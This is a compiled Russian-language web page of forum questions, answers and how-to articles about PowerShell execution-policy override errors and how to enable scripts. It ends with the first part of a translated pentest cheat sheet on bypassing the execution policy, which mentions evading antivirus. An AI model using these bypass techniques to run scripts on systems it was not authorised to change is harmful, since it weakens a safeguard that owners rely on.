Оболочка windows powershell успешно обновила вашу политику

Windows PowerShell updated your execution policy successfully, but the setting is overridden by a policy defined at a more specific scope

Skip to content

При попытке установить любой пакет через NuGet в Visual Studio 2013 (VS 2013) получаю сообщение об ошибке:

Install failed. Rolling back…
Failed to initialize the PowerShell host. If your PowerShell execution policy setting is set to AllSigned, open the Package Manager Console to initialize the host first.

При попытке вызвать консоль в VS 2013 — View — Other Windows — Package Manager Console так же получаю сообщение об ошибке:

Windows PowerShell updated your execution policy successfully, but the setting is overridden by a policy defined at a more specific scope.  Due to the override, your shell will retain its current effective execution policy of Unrestricted. Type «Get-ExecutionPolicy -List» to view your execution policy settings. For more information please see «Get-Help Set-ExecutionPolicy».

В групповой политике (gpedit.msc) выставлены настройки

image

image

SNAGHTML12f871

И всё равно, при попытке в Power Shell Console выставить нужные политики, с помощью Set-ExecutionPolicy AllSigned — получаю сообщение об ошибке:

Set-ExecutionPolicy : Оболочка Windows PowerShell успешно обновила вашу политику выполнения, но данный параметр переопределяется политикой, определенной в более конкретной области. В связи с переопределением оболочка сохранит текущую политику выполнения «Unrestricted». Для просмотра параметров политики выполнения введите «Get-ExecutionPolicy -List». Для получения дополнительных сведений введите «Get-Help Set-ExecutionPolicy».
строка:1 знак:1
+ Set-ExecutionPolicy AllSigned
+ ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+ CategoryInfo          : PermissionDenied: (:) [Set-ExecutionPolicy], SecurityException
+ FullyQualifiedErrorId : ExecutionPolicyOverride,Microsoft.PowerShell.Commands.SetExecutionPolicyCommand

SNAGHTML185956

РЕШЕНИЕ: Мне помогло, установка параметра реестра ExecutionPolicy = Bypass в разделе HKEY_LOCAL_MACHINESOFTWAREPoliciesMicrosoftWindowsPowerShell

на всякий случай установил такое же значение еще и здесь

HKEY_CURRENT_USERSoftwarePoliciesMicrosoftWindowsPowerShell

После этого консоль в Visual Studio и NuGet заработали.

А политики стали такими:

image

The error message indicates that the setting you’re trying to define via Set-ExecutionPolicy is overridden by a setting in another scope. Use Get-ExecutionPolicy -List to see which scope has which setting.

PS C:> Get-ExecutionPolicy -List

        Scope    ExecutionPolicy
        -----    ---------------
MachinePolicy          Undefined
   UserPolicy          Undefined
      Process          Undefined
  CurrentUser          Undefined
 LocalMachine       RemoteSigned

PS C:> Set-ExecutionPolicy Restricted -Scope Process -Force
PS C:> Set-ExecutionPolicy Unrestricted -Scope CurrentUser -Force
Set-ExecutionPolicy : Windows PowerShell updated your execution policy
successfully, but the setting is overridden by a policy defined at a more
specific scope.  Due to the override, your shell will retain its current
effective execution policy of Restricted. Type "Get-ExecutionPolicy -List"
to view your execution policy settings. ...
PS C:> Get-ExecutionPolicy -List

        Scope    ExecutionPolicy
        -----    ---------------
MachinePolicy          Undefined
   UserPolicy          Undefined
      Process         Restricted
  CurrentUser       Unrestricted
 LocalMachine       RemoteSigned

PS C:> .test.ps1
.test.ps1 : File C:test.ps1 cannot be loaded because running scripts is
disabled on this system. ...
PS C:> Set-ExecutionPolicy Unestricted -Scope Process -Force
PS C:> Set-ExecutionPolicy Restricted -Scope CurrentUser -Force
Set-ExecutionPolicy : Windows PowerShell updated your execution policy
successfully, but the setting is overridden by a policy defined at a more
specific scope.  Due to the override, your shell will retain its current
effective execution policy of Restricted. Type "Get-ExecutionPolicy -List"
to view your execution policy settings. ...
PS C:> Get-ExecutionPolicy -List

        Scope    ExecutionPolicy
        -----    ---------------
MachinePolicy          Undefined
   UserPolicy          Undefined
      Process       Unrestricted
  CurrentUser         Restricted
 LocalMachine       RemoteSigned

PS C:> .test.ps1
Hello World!

As you can see, both settings were defined despite the error, but the setting in the more specific scope (Process) still takes precedence, either preventing or allowing script execution.

Since the default scope is LocalMachine the error could be caused by a setting in the CurrentUser or Process scope. However, a more common reason is that script execution was configured via a group policy (either local or domain).

A local group policy can be modified by a local administrator via gpedit.msc (Local Group Policy Editor) as described in this answer.

A domain group policy cannot be superseded by local settings/policies and must be changed by a domain admin via gpmc.msc (Group Policy Management) on a domain controller.

For both local and domain policies the setting can be defined as a computer setting:

Computer Configuration
`-Administrative Templates
  `-Windows Components
    `-Windows PowerShell -> Turn on Script Execution

or as a user setting:

User Configuration
`-Administrative Templates
  `-Windows Components
    `-Windows PowerShell -> Turn on Script Execution

The former are applied to computer objects, whereas the latter are applied to user objects. For local polices there is no significant difference between user and computer policies, because user policies are automatically applied to all users on the computer.

A policy can have one of three states (or five states if you count the 3 settings available for the state Enabled separately):

  • Not Configured: policy does not control PowerShell script execution.
  • Enabled: allow PowerShell script execution.
    • Allow only signed scripts: allow execution of signed scripts only (same as Set-ExecutionPolicy AllSigned).
    • Allow local scripts and remote signed scripts: allow execution of all local scripts (signed or not) and of signed scripts from remote locations (same as Set-ExecutionPolicy RemoteSigned).
    • Allow all scripts: allow execution of local and remote scripts regardless of whether they’re signed or not (same as Set-ExecutionPolicy Unrestricted).
  • Disabled: disallow PowerShell script execution (same as Set-ExecutionPolicy Restricted).

Changes made via Set-ExecutionPolicy only become effective when local and domain policies are set to Not Configured (execution policy Undefined in the scopes MachinePolicy and UserPolicy).

The error message indicates that the setting you’re trying to define via Set-ExecutionPolicy is overridden by a setting in another scope. Use Get-ExecutionPolicy -List to see which scope has which setting.

PS C:> Get-ExecutionPolicy -List

        Scope    ExecutionPolicy
        -----    ---------------
MachinePolicy          Undefined
   UserPolicy          Undefined
      Process          Undefined
  CurrentUser          Undefined
 LocalMachine       RemoteSigned

PS C:> Set-ExecutionPolicy Restricted -Scope Process -Force
PS C:> Set-ExecutionPolicy Unrestricted -Scope CurrentUser -Force
Set-ExecutionPolicy : Windows PowerShell updated your execution policy
successfully, but the setting is overridden by a policy defined at a more
specific scope.  Due to the override, your shell will retain its current
effective execution policy of Restricted. Type "Get-ExecutionPolicy -List"
to view your execution policy settings. ...
PS C:> Get-ExecutionPolicy -List

        Scope    ExecutionPolicy
        -----    ---------------
MachinePolicy          Undefined
   UserPolicy          Undefined
      Process         Restricted
  CurrentUser       Unrestricted
 LocalMachine       RemoteSigned

PS C:> .test.ps1
.test.ps1 : File C:test.ps1 cannot be loaded because running scripts is
disabled on this system. ...
PS C:> Set-ExecutionPolicy Unestricted -Scope Process -Force
PS C:> Set-ExecutionPolicy Restricted -Scope CurrentUser -Force
Set-ExecutionPolicy : Windows PowerShell updated your execution policy
successfully, but the setting is overridden by a policy defined at a more
specific scope.  Due to the override, your shell will retain its current
effective execution policy of Restricted. Type "Get-ExecutionPolicy -List"
to view your execution policy settings. ...
PS C:> Get-ExecutionPolicy -List

        Scope    ExecutionPolicy
        -----    ---------------
MachinePolicy          Undefined
   UserPolicy          Undefined
      Process       Unrestricted
  CurrentUser         Restricted
 LocalMachine       RemoteSigned

PS C:> .test.ps1
Hello World!

As you can see, both settings were defined despite the error, but the setting in the more specific scope (Process) still takes precedence, either preventing or allowing script execution.

Since the default scope is LocalMachine the error could be caused by a setting in the CurrentUser or Process scope. However, a more common reason is that script execution was configured via a group policy (either local or domain).

A local group policy can be modified by a local administrator via gpedit.msc (Local Group Policy Editor) as described in this answer.

A domain group policy cannot be superseded by local settings/policies and must be changed by a domain admin via gpmc.msc (Group Policy Management) on a domain controller.

For both local and domain policies the setting can be defined as a computer setting:

Computer Configuration
`-Administrative Templates
  `-Windows Components
    `-Windows PowerShell -> Turn on Script Execution

or as a user setting:

User Configuration
`-Administrative Templates
  `-Windows Components
    `-Windows PowerShell -> Turn on Script Execution

The former are applied to computer objects, whereas the latter are applied to user objects. For local polices there is no significant difference between user and computer policies, because user policies are automatically applied to all users on the computer.

A policy can have one of three states (or five states if you count the 3 settings available for the state Enabled separately):

  • Not Configured: policy does not control PowerShell script execution.
  • Enabled: allow PowerShell script execution.
    • Allow only signed scripts: allow execution of signed scripts only (same as Set-ExecutionPolicy AllSigned).
    • Allow local scripts and remote signed scripts: allow execution of all local scripts (signed or not) and of signed scripts from remote locations (same as Set-ExecutionPolicy RemoteSigned).
    • Allow all scripts: allow execution of local and remote scripts regardless of whether they’re signed or not (same as Set-ExecutionPolicy Unrestricted).
  • Disabled: disallow PowerShell script execution (same as Set-ExecutionPolicy Restricted).

Changes made via Set-ExecutionPolicy only become effective when local and domain policies are set to Not Configured (execution policy Undefined in the scopes MachinePolicy and UserPolicy).

Добрый день.

Вопрос 1:Написал скрипт для создания ярлыков.. в политике на OU с пользователем в сценарии powershell прописан так:

имя сценария: \pc1ScriptsPowerShellCreateLinks.ps1

параметры: -noprofile -command

При загрузке из под пользователя в Win7 все работает, а вот при Win8 запуске ничего непроисходит. Причем запуск вручную выдает ошибку,

Set-ExecutionPolicy : Оболочка Windows PowerShell успешно обновила вашу политику выполнения, но данный параметр переопр
еделяется политикой, определенной в более конкретной области. В связи с переопределением оболочка сохранит текущую поли
тику выполнения «Unrestricted». Для просмотра параметров политики выполнения введите «Get-ExecutionPolicy -List». Для п
олучения дополнительных сведений введите «Get-Help Set-ExecutionPolicy».
строка:1 знак:46
+ if((Get-ExecutionPolicy ) -ne ‘AllSigned’) { Set-ExecutionPolicy -Scope Process  …
+                                              ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
    + CategoryInfo          : PermissionDenied: (:) [Set-ExecutionPolicy], SecurityException
    + FullyQualifiedErrorId : ExecutionPolicyOverride,Microsoft.PowerShell.Commands.SetExecutionPolicyCommand

В чем проблема? При использовании invoke-command подтвердилось.

Косяк в версиях PowerShell?

И вопрос 2: при выборе в политике сценарии powershell окно не появляется…Оттуда окно консоли не мигает?

И для чего нужна команда -windowstyle hidden

Спасибо

Исправлено: выполнение скриптов отключено в этой системе.

На чтение 6 мин. Просмотров 220 Опубликовано 18.04.2021

Эта ошибка возникает, когда пользователи пытаются запустить сценарии или определенные команды в PowerShell в рамках своей работы или для устранения проблемы, которая беспокоит их на их ПК. Выполнение скриптов часто отключено по умолчанию в пользовательских системах, и для этого необходимо настроить этот параметр.

Есть и другие причины этой проблемы, поэтому мы подготовили статью, которая должна помочь вам решить эту проблему, если вы будете внимательно следовать методам. Удачи!

Содержание

  1. Что вызывает ошибку «Выполнение скриптов в этой системе отключено»?
  2. Решение 1. Запустите PowerShell от имени администратора и выполните команду
  3. Решение 2. Измените групповые политики
  4. Решение 3. Измените его в настройках Windows 10
  5. Решение 4. Разрешите метод с использованием реестра

Что вызывает ошибку «Выполнение скриптов в этой системе отключено»?

У этой проблемы не так много разных причин, и они часто различаются от одной системы к другой. Тем не менее, их можно легко перечислить, и вы должны увидеть, можно ли отнести вашу проблему к одной из следующих категорий:

  • Иногда выполнение скриптов отключается по умолчанию в системах пользователей, и его необходимо включить вручную с помощью таких методов, как запуск команд в PowerShell или настройка реестра.
  • Если выполнение отключено в более высокой области, вам может потребоваться включить это с помощью редактора локальной групповой политики (GPEdit). Это также можно сделать в настройках Windows 10.
  • Возможно, вы захотите предоставить PowerShell проблемы администратора при выполнении команд.

Решение 1. Запустите PowerShell от имени администратора и выполните команду

В PowerShell есть команда, которая решает именно эту проблему, и ее можно решить. за считанные минуты. Это включает фактическое изменение политики выполнения скрипта из окна PowerShell. Попробуйте и убедитесь сами!

  1. Откройте служебную программу PowerShell, щелкнув правой кнопкой мыши кнопку меню «Пуск» и выбрав параметр Windows PowerShell (Admin) в контекстном меню. Пользователи Windows 7 могут просто найти его.

  1. Если вы см. Командную строку вместо PowerShell в этом месте, вы также можете найти ее в меню «Пуск» или в строке поиска рядом с ней. На этот раз не забудьте щелкнуть правой кнопкой мыши по первому результату и выбрать «Запуск от имени администратора».
  2. В консоли Powershell введите команду, показанную ниже, и убедитесь, что после этого вы нажали Enter:
 Set-ExecutionPolicy RemoteSigned 
  1. Позвольте этой команде сделать свое дело и проверить, появилось ли сообщение, указывающее, что процесс действительно был успешным . Этот метод можно применить ко всем операционным системам Windows, включая Windows 10.

Решение 2. Измените групповые политики

Если описанный выше метод не увенчался успехом, что часто встречается в новых версиях Windows, таких как Windows 10, вам может потребоваться изменить политики в более широком масштабе.. Это обычное сообщение об ошибке, которое появляется после выполнения команды из Решения 1:

 Set-ExecutionPolicy: Windows PowerShell успешно обновила вашу политику выполнения, но этот параметр переопределяется политикой, определенной в более конкретном  сфера.  Из-за переопределения ваша оболочка сохранит свою текущую эффективную политику выполнения ... 

Для решения проблемы вам следует перейти в редактор групповой политики и немедленно изменить настройки оттуда. .

  1. Используйте комбинацию клавиш Windows Key + R (одновременно нажмите клавиши), чтобы открыть диалоговое окно «Выполнить». Введите «gpedit.msc» в диалоговом окне «Выполнить» и нажмите кнопку «ОК», чтобы открыть инструмент «Редактор локальной групповой политики». В Windows 10 вы можете попробовать просто ввести редактор групповой политики в меню «Пуск» и щелкнуть верхний результат.

  1. На левой панели навигации редактора локальной групповой политики в разделе «Конфигурация компьютера» дважды щелкните «Административные шаблоны» и перейдите в раздел «Компоненты Windows >> Windows Powershell».
  2. Выберите папку Windows Powershell, дважды щелкнув ее, и проверьте ее правый раздел.
  3. Дважды щелкните параметр политики «Включить выполнение сценария», установите переключатель рядом с параметр «Включено». В меню «Политика выполнения» выберите «Разрешить все сценарии», примените внесенные вами изменения перед выходом. Изменения не будут применены до перезапуска.

  1. Наконец, перезагрузите компьютер, чтобы сохранить изменения, и проверьте, по-прежнему ли вы получаете ошибку.

Решение 3. Измените его в настройках Windows 10

Пользователи Windows 10 также могут изменить настройки скрипта в своем приложении настроек Windows 10 в разделе Для разработчиков. Как правило, это то место, куда вы должны направиться, если описанные выше шаги не дали качественных результатов, чтобы решить проблему. Обратите внимание, что это может быть применено только к пользователям, работающим под управлением Windows 10.

  1. Используйте комбинацию клавиш Windows + I, чтобы открыть Настройки на ПК с Windows 10. Кроме того, вы можете выполнить поиск «Настройки», используя панель поиска, расположенную на панели задач, или вы можете щелкнуть значок шестеренки прямо над кнопкой меню «Пуск» после его открытия.
  2. Найдите и откройте «Обновить и security »в приложении« Настройки », щелкнув его один раз.

  1. Перейдите на вкладку Для разработчиков и проверьте в разделе Powershell параметр «Изменить политику выполнения, чтобы разрешить выполнение локальных сценариев PowerShell без подписи». Требовать подписи для удаленных сценариев ».
  2. Установите флажок рядом с ним, чтобы включить его, и нажмите кнопку« Применить »прямо под ним.

  1. Немедленно перезагрузите компьютер и попробуйте запустить сценарий в PowerShell, чтобы проверить, не появляется ли по-прежнему ошибка« Выполнение сценариев в этой системе ».

Решение 4. Разрешите метод с использованием реестра

Если описанные выше методы не помогли решить вашу проблему, остается только сделать перейти в реестр и изменить настройки вручную в максимально возможной степени. Этот метод довольно прост, но вы все равно должны быть осторожны при редактировании реестра, чтобы убедиться, что все идет не так.

  1. Откройте окно редактора реестра, набрав «regedit» в строке поиска, в меню «Пуск» или в диалоговом окне «Выполнить», к которому можно получить доступ с помощью комбинации клавиш Windows + R. Перейдите к следующему ключу в вашем реестр, перейдя на левую панель:
 HKEY_LOCAL_MACHINE  SOFTWARE  Microsoft  PowerShell  1  ShellIds  Microsoft.PowerShell 

  1. Щелкните этот ключ и попробуйте найти строковую запись с именем ExecutionPolicy в правой части окна. Если такой параметр существует, щелкните его правой кнопкой мыши и выберите параметр «Изменить» в контекстном меню.
  2. В окне редактирования в разделе данных значения измените значение на Unrestricted или RemoteSigned и примените внесенные вами изменения. Подтвердите все диалоговые окна безопасности, которые могут появиться во время этого процесса.
  3. Теперь вы можете вручную перезагрузить компьютер, нажав Меню “Пуск” >> кнопка питания >> Перезагрузите и проверьте, исчезла ли проблема.

Я пытаюсь запустить файл cmd, который вызывает скрипт powershell из cmd.exe, и я получаю следующую ошибку:

Management_Install.ps1 не может быть загружен, потому что выполнение сценариев отключено в этой системе.

Я бегал

Set-ExecutionPolicy -ExecutionPolicy Unrestricted

и когда я запускаю Get-ExecutionPolicy из powershell, я получаю Unrestricted обратно.

PS C:UsersAdministrator> Get-ExecutionPolicy
Unrestricted

C:ProjectsMicrosoft.Practices.ESBSourceSamplesManagement PortalInstallScripts> powershell .Management_Install.ps1 1

WARNING: Running x86 PowerShell...

Файл C:ProjectsMicrosoft.Practices.ESBSourceSamplesManagement PortalInstallScriptsManagement_Install.ps1 не может быть загружен, поскольку выполнение сценариев в этой системе отключено. Пожалуйста, смотрите » get-help about_signing » для более подробной информации.

В строке: 1 символ: 25

  • .Management_Install.ps1 <<<< 1

    • CategoryInfo: NotSpecified: (:) [], PSSecurityException

    • FullyQualifiedErrorId: RuntimeException

C:ProjectsMicrosoft.Practices.ESBSourceSamplesManagement PortalInstallScripts> PAUSE

Press any key to continue . . .

Система Windows Server 2008R2.

Что я делаю неправильно?

4b9b3361

Ответ 1

Если вы используете Windows Server 2008 R2, то существует версия PowerShell для x64 и x86, для каждой из которых должна быть установлена политика выполнения. Вы установили политику выполнения на обоих хостах?

Как администратор, вы можете установить политику выполнения, набрав это в окне PowerShell:

Set-ExecutionPolicy RemoteSigned

Для получения дополнительной информации см. Использование командлета Set-ExecutionPolicy.

Ответ 2

Вы можете обойти эту политику, добавив -ExecutionPolicy ByPass при запуске PowerShell

powershell -ExecutionPolicy ByPass -File script.ps1

Ответ 3

У меня была похожая проблема, и я заметил, что по умолчанию cmd на Windows Server 2012 работал под управлением x64.

Для Windows 7, Windows 8, Windows 10, Windows Server 2008 R2 или Windows Server 2012 выполните следующие команды от имени администратора:

x86 (32 бита)
Откройте C:WindowsSysWOW64cmd.exe
Запустите команду powershell Set-ExecutionPolicy RemoteSigned

х64 (64 бит)
Откройте C:Windowssystem32cmd.exe
Запустите команду powershell Set-ExecutionPolicy RemoteSigned

Вы можете проверить режим, используя

  • В CMD: echo %PROCESSOR_ARCHITECTURE%
  • В Powershell: [Environment]::Is64BitProcess

Рекомендации:
MSDN — политики выполнения Windows PowerShell
Windows — объяснение каталога на 32 бита против 64 бита

Ответ 4

Большинство существующих ответов объясняют How, но очень немногие объясняют почему. И прежде чем вы начнете выполнять код от незнакомцев в Интернете, особенно код, который отключает меры безопасности, вы должны точно понимать, что вы делаете. Так вот немного подробнее об этой проблеме.

Из TechNet О странице политик выполнения:

Политики выполнения Windows PowerShell позволяют определить условия, при которых Windows PowerShell загружает файлы конфигурации и запускает сценарии.

Преимущества, которые перечислены Основы PowerShell — политика выполнения и подписание кода:

  • Контроль выполнения. Управление уровнем доверия для выполнения скриптов.
  • Command Highjack. Предотвращение ввода команд на моем пути.
  • Идентификация. Является ли script создан и подписан разработчиком, которому я доверяю, и/или подписан с сертификатом из центра сертификации, которому я доверяю.
  • Целостность. Сценарии не могут быть изменены вредоносными программами или вредоносными пользователями.

Чтобы проверить текущую политику выполнения, вы можете запустить Get-ExecutionPolicy. Но вы, вероятно, здесь, потому что хотите изменить его.

Для этого вы запустите командлет Set-ExecutionPolicy.

При обновлении политики выполнения вы должны принять два важных решения.

Тип политики выполнения:

  • Restricted — No script в системе может быть запущен локальный, удаленный или загруженный файл.
  • AllSigned. Все запущенные script требуют цифровой подписи.
  • RemoteSigned — все удаленные сценарии (UNC) или загружаемые должны быть подписаны.
  • Unrestricted — не требуется подпись для любого типа script.

Сфера применения нового изменения

  • LocalMachine — Политика выполнения затрагивает всех пользователей компьютера.
  • CurrentUser. Политика выполнения влияет только на текущего пользователя.
  • Process. Политика выполнения влияет только на текущий процесс Windows PowerShell.

† = Значение по умолчанию

Например: если вы хотите изменить политику на RemoteSigned только для CurrentUser, вы должны выполнить следующую команду:

Set-ExecutionPolicy -ExecutionPolicy RemoteSigned -Scope CurrentUser

Примечание. Чтобы изменить политику выполнения, вы должны запустить PowerShell As Adminstrator.
Если вы находитесь в обычном режиме и пытаетесь изменить политику выполнения, вы получите следующую ошибку:

Доступ к разделу реестра «HKEY_LOCAL_MACHINESOFTWAREMicrosoftPowerShell1ShellIdsMicrosoft.PowerShell» отклоняется. Чтобы изменить политику выполнения для области по умолчанию (LocalMachine), запустите Windows PowerShell с параметром «Запуск от имени администратора».

Если вы хотите затянуть внутренние ограничения на свои собственные сценарии, которые не были загружены из Интернета (или, по крайней мере, не содержат метаданные UNC), вы можете заставить политику запускать подписанные сценарии. Чтобы подписать свои собственные сценарии, вы можете следовать инструкциям статьи Скотта Гензельмана Подписывать скрипты PowerShell.

Примечание. Большинство людей могут получить эту ошибку, когда они открывают Powershell, потому что первое, что пытается сделать PS при запуске, — это выполнить свой профиль пользователя script, который настраивает вашу среду, но вы нравится.

Файл обычно находится в папке

%UserProfile%My DocumentsWindowsPowerShellMicrosoft.PowerShellISE_profile.ps1

Вы можете найти точное местоположение, запустив переменную powershell

$profile

Если в профиле нет ничего, о чем вы заботитесь, и не хотите беспокоиться о своих настройках безопасности, вы можете просто удалить его, и powershell не найдет ничего, что он не сможет выполнить.

Ответ 5

В Windows 7:

Перейдите в меню «Пуск» и найдите «Windows PowerShell ISE».

Щелкните правой кнопкой мыши по версии x86 и выберите «Запуск от имени администратора».

В верхней части вставьте Set-ExecutionPolicy RemoteSigned; запустите script. Выберите «Да».

Повторите эти шаги для 64-разрядной версии PowerShell ISE (версия для не-x86).

Я просто уточняю шаги, которые намекнул @Чад Миллер. Спасибо, Чад!

Ответ 6

Также выполнение этой команды перед script также решает проблему:

set-executionpolicy unrestricted

Ответ 7

Если вы находитесь в среде, где вы не являетесь администратором, вы можете установить для нее политику выполнения, и она не потребует администратора.

Set-ExecutionPolicy -Scope "CurrentUser" -ExecutionPolicy "RemoteSigned"

или

Set-ExecutionPolicy -Scope "CurrentUser" -ExecutionPolicy "Unrestricted"

Вы можете прочитать все об этом в записи справки.

Help Get-ExecutionPolicy -Full
Help Set-ExecutionPolicy -Full

Ответ 8

RemoteSigned: все созданные вами сценарии будут запущены, и все сценарии, загруженные из Интернета, должны быть подписаны доверенным издателем.

ОК, измените политику, просто набрав:

Set-ExecutionPolicy RemoteSigned

Ответ 9

Мы можем получить статус текущего ExecutionPolicy с помощью команды ниже:

Get-ExecutionPolicy;

По умолчанию это ограничено. Чтобы разрешить выполнение сценариев PowerShell, нам нужно установить для этого параметра ExecutionPolicy значение Bypass или Unrestricted.

Мы можем установить политику для текущего пользователя как Bypass или Unrestricted, используя любую из следующих команд PowerShell:

Set-ExecutionPolicy -Scope CurrentUser -ExecutionPolicy Bypass -Force;

Set-ExecutionPolicy -Scope CurrentUser -ExecutionPolicy Unrestricted -Force;

Неограниченная политика загружает все файлы конфигурации и запускает все сценарии. Если вы запускаете неподписанный скрипт, который был загружен из Интернета, вам будет предложено разрешение перед его запуском.

Принимая во внимание, что в политике обхода ничего не блокируется, и нет никаких предупреждений или подсказок во время выполнения скрипта. Обход ExecutionPolicy более расслаблен, чем Unrestricted.

Ответ 10

Я использую Windows 10 и не смог выполнить какую-либо команду. Единственная команда, которая дала мне некоторые подсказки, была следующая:

[64]

  • Открыть C:WindowsSysWOW64cmd.exe [как администратор]
  • Запустите команду > powershell Set-ExecutionPolicy Unrestricted

Но это не сработало. Он был ограничен. Возможно, новые политики безопасности для Windows10. У меня была эта ошибка:

Set-ExecutionPolicy: Windows PowerShell успешно обновил вашу политику выполнения, но параметр переопределяется политикой, определенной в более конкретной области. Из-за переопределения ваша оболочка сохранит текущую эффективную политику выполнения…

Итак, я нашел другой способ (решение):

  • Откройте команду запуска/консоль (Win + R)
  • Тип: gpedit.msc (Редактор групповой политики)
  • Обзор политики локального компьютера → Конфигурация компьютера → Административные шаблоны → Компоненты Windows → Windows Powershell.
  • Включить Включить Script Выполнение «
  • Задайте политику по мере необходимости. Я установил для меня « Разрешить все сценарии«.

Теперь откройте PowerShell и наслаждайтесь;)

Ответ 11

Настройка политики выполнения зависит от среды. Если вы пытаетесь выполнить script из текущей x86 ISE, вы должны использовать x86 PowerShell для установки политики выполнения. Аналогично, если вы используете 64-разрядную ISE, вам необходимо установить политику с помощью 64-битного PowerShell.

Ответ 12

Win + R, введите команду copy paste и нажмите OK:

powershell Set-ExecutionPolicy -Scope "CurrentUser" -ExecutionPolicy "RemoteSigned"

И выполнить свой сценарий.

Затем отменить изменения, такие как:

powershell Set-ExecutionPolicy -Scope "CurrentUser" -ExecutionPolicy "AllSigned"

Ответ 13

Вы также можете обойти это, используя следующую команду:

PS > powershell Get-Content .test.ps1 | Invoke-Expression

Вы также можете прочитать эту статью Скотта Сазерленда, в которой объясняется 15 различных способов обхода PowerShell Set-ExecutionPolicy если у вас нет прав администратора:

15 способов обойти политику выполнения PowerShell

Ответ 14

  1. Откройте PowerShell от имени администратора и запустите Set-ExecutionPolicy -Scope CurrentUser
  2. Укажите RemoteSigned и нажмите Enter
  3. Запустите Set-ExecutionPolicy -Scope CurrentUser
  4. Предоставьте Unrestricted и нажмите Enter

Ответ 15

В редакторе PowerShell ISE я нашел следующие строки разрешенных сценариев:

Set-ExecutionPolicy RemoteSigned -Scope Process

Ответ 16

В PowerShell 2.0 политика выполнения была отключена по умолчанию.

С этого момента команда PowerShell сделала много улучшений, и они уверены, что пользователи не будут сильно разбираться во время запуска скриптов. Таким образом, начиная с версии PowerShell 4.0, она включена по умолчанию.

В вашем случае введите Set-ExecutionPolicy RemoteSigned из консоли PowerShell и скажите «да».

Ответ 17

Перейдите в путь реестра HKEY_LOCAL_MACHINESOFTWAREMicrosoftPowerShell1ShellIdsMicrosoft.PowerShell и установите для RemoteSigned ExecutionPolicy значение RemoteSigned.

Ответ 18

Если вы здесь из-за запуска его с Ruby или Chef и используя « выполнение системы, выполните следующее:

`powershell.exe -ExecutionPolicy Unrestricted -command [Environment]::GetFolderPath('mydocuments')`

Эта команда предназначена для получения папки «MyDocuments».

-ExecutionPolicy Unrestricted делает трюк.

Я надеюсь, что это поможет кому-то другому.

Ответ 19

Я нашел, что эта строка работает лучше всего на одном из серверов Windows Server 2008 R2. У нескольких других нет проблем без этой строки в моих сценариях PowerShell:

Set-ExecutionPolicy -ExecutionPolicy RemoteSigned -Force -Scope Process

Ответ 20

Несколько ответов указывают на политику выполнения. Однако некоторые вещи требуют также администратора «runas». Это безопасно в том смысле, что не существует постоянного изменения политики выполнения и может получить ограничение администратора. Используйте с schedtask для запуска партии с помощью:

    runas.exe /savecred /user:administrator powershell -ExecutionPolicy ByPass -File script.ps1

как от Джека Эдмондса выше, так и от Питера Мортенсена/Дханы post Как запустить приложение как «запускать как администратор» . из командной строки?

Ответ 21

У меня была такая же проблема сегодня. 64-битная политика выполнения была неограниченной, в то время как 32-битная была ограничена.

Вот как можно изменить только 32-битную политику удаленно:

Invoke-Command -ComputerName $servername -ConfigurationName Microsoft.PowerShell32 -scriptblock {Set-ExecutionPolicy unrestricted}

Ответ 22

Поскольку многие из этих ответов советуют пользователю изменить настройки безопасности, было бы также неплохо включить команду для восстановления политики по умолчанию.

Ответ 23

Откройте окно PowerShell от имени администратора. Это будет работать.

15 Ways to Bypass the PowerShell Execution PolicyДанный материал является переводом оригинальной статьи «NetSPI : Scott Sutherland : 15 Ways to Bypass the PowerShell Execution Policy».

По умолчанию PowerShell настроен на предотвращение выполнения сценариев PowerShell в системах Windows. Это может быть препятствием для пентестеров, системных администраторов и разработчиков, но это не обязательно. В этой статье я расскажу о 15 способах обхода политики выполнения PowerShell, не имея прав локального администратора в системе. Я уверен, что есть много методов, которые я пропустил (или просто не знаю), но надеюсь, что эта шпаргалка станет хорошим началом для тех, кто нуждается в получении информации о методах обхода.

Что такое политика выполнения PowerShell?

Политика выполнения PowerShell — это параметр, который определяет, какой тип сценариев PowerShell (если они есть) можно запустить в системе. По умолчанию установлено значение «Restricted (Ограничено)», что в основном означает «нет». Однако важно понимать, что этот параметр никогда не предназначался для контроля безопасности. На самом деле он был предназначен для того, чтобы администраторы «не стреляли себе в ногу». Вот почему есть так много вариантов, чтобы обойти этот механизм (в том числе включая несколько вариантов, которые предоставила Microsoft). Для получения дополнительной информации о параметрах политики выполнения и других элементах безопасности по умолчанию в PowerShell я предлагаю прочитать интересный обзор в блоге Карлоса Переса.

Почему я хочу обойти политику выполнения?

Автоматизация кажется одним из наиболее распространенных ответов, которые я слышу от людей, но ниже приведены несколько других причин, по которым PowerShell стал настолько популярным среди администраторов, пентестеров и хакеров.

PowerShell — это:

  • Нативный для Windows механизм;
  • Возможность вызова Windows API;
  • Возможность запуска команд без записи на диск;
  • Возможность избежать обнаружения антивирусным ПО;
  • Уже отнесён как «доверенный» в «белых» списках большинства приложений;
  • Среда, используемая для написания множества инструментов Pentest с открытым исходным кодом.

Как просмотреть политику выполнения

Прежде чем использовать все замечательные функции, которые может предложить PowerShell, придется обойти «ограниченную» политику выполнения. Вы можете посмотреть текущую конфигурацию с помощью команды PowerShell «Get-ExectionPolicy». Если вы смотрите на настройку в первый раз, скорее всего, она установлена на «Restricted», как показано ниже.

Get-ExecutionPolicy

PowerShell Get-ExecutionPolicy

Стоит также отметить, что политика выполнения может быть установлена на разных уровнях в системе. Чтобы просмотреть их список, используйте команду Set-ExecutionPolicy.

Get-ExecutionPolicy -List | Format-Table -AutoSize

PowerShell Execution Policy

Примечания по настройке лаборатории

В приведенных ниже примерах я буду использовать скрипт с именем runme.ps1, который содержит следующую команду PowerShell для записи сообщения в консоль:

Write-Host "My voice is my passport, verify me."

Когда я пытаюсь выполнить его в системе, настроенной с помощью политики выполнения по умолчанию, я получаю следующую ошибку.

PS cant run script

Если ваша текущая политика слишком открыта, и вы хотите сделать ее более строгой, чтобы протестировать приведенные ниже методы, запустите команду из консоли администратора PowerShell:

Set-ExecutionPolicy Restricted

Хорошо, хватит болтовни, ниже приведены 15 способов обойти ограничения политики выполнения PowerShell.

Обход политики выполнения PowerShell

1. Вставка сценария в интерактивную консоль PowerShell

Скопируйте и вставьте сценарий PowerShell в интерактивную консоль, как показано ниже. Однако имейте в виду, что вы будете ограничены привилегиями вашего текущего пользователя. Это самый простой пример, который может быть полезен для запуска быстрых сценариев, когда у вас есть интерактивная консоль. Кроме того, этот метод не приводит к изменению конфигурации и не требует записи на диск

